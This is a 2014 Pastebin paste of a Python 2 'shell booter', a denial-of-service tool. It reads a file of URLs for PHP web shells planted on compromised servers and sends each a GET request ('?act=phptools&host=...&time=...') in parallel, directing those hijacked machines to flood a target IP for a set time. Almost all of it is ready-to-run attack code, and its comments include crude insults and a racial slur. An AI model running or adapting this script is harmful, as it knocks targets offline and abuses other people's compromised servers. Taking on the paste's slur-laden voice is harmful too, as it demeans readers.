Advertisement
Guest User

Shell Booter in Python

a guest
Jan 29th, 2014
6,455
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.09 KB | None | 0 0
  1. #!/usr/bin/env python
  2. """
  3. # Python Shell Booter - Written by JoinSe7en
  4.  
  5. A friend of mine contacted me with a request to write up a simple shell booter in Python primarily for educational purposes since he's on the path of learning Python.
  6. While this is still a very basic form of shell booter with no cool functions or flashy GUI i'd still like to post it if someone someday would be interested.
  7.  
  8. I'm sure there are better ways of doing this, no need to get buttmad about it.
  9. If you're python leet hax0r, please show us your ways.
  10.  
  11. Some things to note:
  12.    I did not do any kind of argument parsing due to laziness, feel free to add it yourself.
  13.    The Error Handling is god-awful. Don't care. It might throw an error while it's actually working, it won't affect the actual booting.
  14.    Only skids uses Shell Booters.
  15.  
  16. Only Tested on Debian.
  17.  
  18. """
  19. from multiprocessing.pool import ThreadPool as Pool
  20. import urllib2, sys
  21.  
  22. """ Configuration (because im too lazy to parse arguments) """
  23.  
  24. shellpath = "./getshells.txt" # /path/to/shells.txt
  25. target    = "127.0.0.1"       # IP to boot (like a skid)
  26. time      = 60            # time to boot (like a skid)
  27. timeout   = time + 15         # Timeout nigguh
  28.  
  29. """ End Of Configuration """
  30.  
  31.  
  32. """ Globals """
  33.  
  34. # do not touch these u fkn cheeky kunt swear ill #rek u m8 swear on my mums life
  35. counter = 0
  36. c_executed = 0
  37.  
  38. """ End of Globals """
  39.  
  40.  
  41. """ Terminal Colors is cruise control for cool (fakk u winblows) """
  42.  
  43. class bcolors:
  44.     HEADER = '\033[95m'
  45.     OKBLUE = '\033[94m'
  46.     OKGREEN = '\033[92m'
  47.     WARNING = '\033[93m'
  48.     FAIL = '\033[91m'
  49.     ENDC = '\033[0m'
  50.     def disable(self):
  51.         self.HEADER = ''
  52.         self.OKBLUE = ''
  53.         self.OKGREEN = ''
  54.         self.WARNING = ''
  55.         self.FAIL = ''
  56.         self.ENDC = ''
  57.  
  58. if sys.platform == 'win32':
  59.     bcolors.disable()
  60.  
  61. """ End of Terminal Colors """
  62.  
  63.  
  64. def openShells(path):
  65.     shells = []
  66.     with open(path) as inputfile:
  67.         for line in inputfile:
  68.             shells.append(line.strip())
  69.  
  70.     print "[+] Loaded " + str(len(shells)) + " 'GET' Shells from " + path + "!"
  71.     return shells
  72.  
  73.  
  74.  
  75. def bootIt(toexec, shell,target,time):
  76.     global counter, c_executed
  77.     print "[" + bcolors.OKBLUE + "+" + bcolors.ENDC + "] Executing: " + shell
  78.     c_executed += 1
  79.     if c_executed == toexec:
  80.         print "\n\n"
  81.     try:
  82.         shellres = urllib2.urlopen(shell + "?act=phptools&host=" + target +"&time=" + str(time), timeout = timeout).read()
  83.         print "[" + bcolors.OKGREEN + "+" + bcolors.ENDC + "] " + shell + "?act=phptools&host=" + target +"&time=" + str(time)
  84.         counter += 1
  85.     except urllib2.HTTPError, e:
  86.         print "[" + bcolors.FAIL + "!" + bcolors.ENDC + "] " + shell + " Failed. (" + bcolors.FAIL + "Error: " + bcolors.ENDC + str(e.code) + ")"
  87.         pass
  88.     except urllib2.URLError, e:
  89.         print "[" + bcolors.FAIL + "!" + bcolors.ENDC + "] " + shell + " Failed. (" + bcolors.FAIL + "Error: " + bcolors.ENDC + str(e.args) + ")"
  90.         pass
  91.     except:
  92.         e = sys.exc_info()[0]
  93.         print "[" + bcolors.FAIL + "!" + bcolors.ENDC + "] " + shell + " Failed. (" + bcolors.FAIL + "Error: " + bcolors.ENDC + str(e).strip("<class ") + ")"
  94.         pass
  95.  
  96. def main():
  97.     print "\n Target: " + target
  98.     print "   Time: " + str(time)
  99.     print ""
  100.     shells = openShells(shellpath)
  101.     # print shells
  102.  
  103.     pool = Pool(len(shells))
  104.  
  105.    
  106.     print ""
  107.     print bcolors.WARNING + "Warning: " + bcolors.ENDC + " When executed, this script will run until it's done."
  108.     rusure = raw_input("Are you sure you wish to continue? [Y/n] ")
  109.     if rusure.lower() == 'y':
  110.  
  111.         for shell in shells:
  112.             pool.apply_async(bootIt, (len(shells), shell,target,time,))
  113.  
  114.         pool.close()
  115.         pool.join()
  116.         print "\n Working shells: " + str(counter) + "/" + str(len(shells))
  117.         print " Booted '" + bcolors.OKGREEN + target + bcolors.ENDC + "' for '" + bcolors.OKGREEN + str(time) + bcolors.ENDC + "' seconds with '" + bcolors.OKGREEN + str(counter) + bcolors.ENDC + "' shells. (Like a skid)"
  118.     else:
  119.         print "Exiting..."
  120.  
  121.  
  122. if __name__ == "__main__":
  123.     try:
  124.         main()
  125.     except(KeyboardInterrupt):
  126.         print bcolors.FAIL + "\nKeyboardInterrupt" + bcolors.ENDC + " detected."
  127.         print "Exiting..."
  128.         sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement